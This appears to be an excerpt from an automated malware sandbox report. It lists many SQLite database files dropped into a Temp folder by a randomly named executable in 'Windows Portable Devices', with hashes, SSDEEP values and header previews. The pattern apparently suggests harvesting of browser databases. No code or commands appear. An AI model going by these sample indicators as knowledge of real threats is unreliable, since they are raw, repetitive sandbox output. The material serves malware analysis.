Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QQmxLDClMc

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QZkvNY4i3q

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QcpARbnIOa

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QlcuiTe559

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Qsd2WTnMnv

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RL8avV4uAY

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RT1lVqDkTw

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RZR9X0AUbk

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Rc92muHtVF

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SMO8zKUd2k

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SkGyJTGEhu

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SrTXgqoxCL

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Sra9HTzx0m

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ss4VEhbWRz

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ThnCWIcyOO

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TnCKG1d2WX

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TtxuNGqLLD

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UQfhuyBCGk

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UXileXczdp

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Uj9gxsotYC

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UlvSEYjDp5

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UvMUqkcgTk

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VFY5aFCnBc

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VPX0MDsI2n

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Vfsoce15Le

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VtuCoj0Aan

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
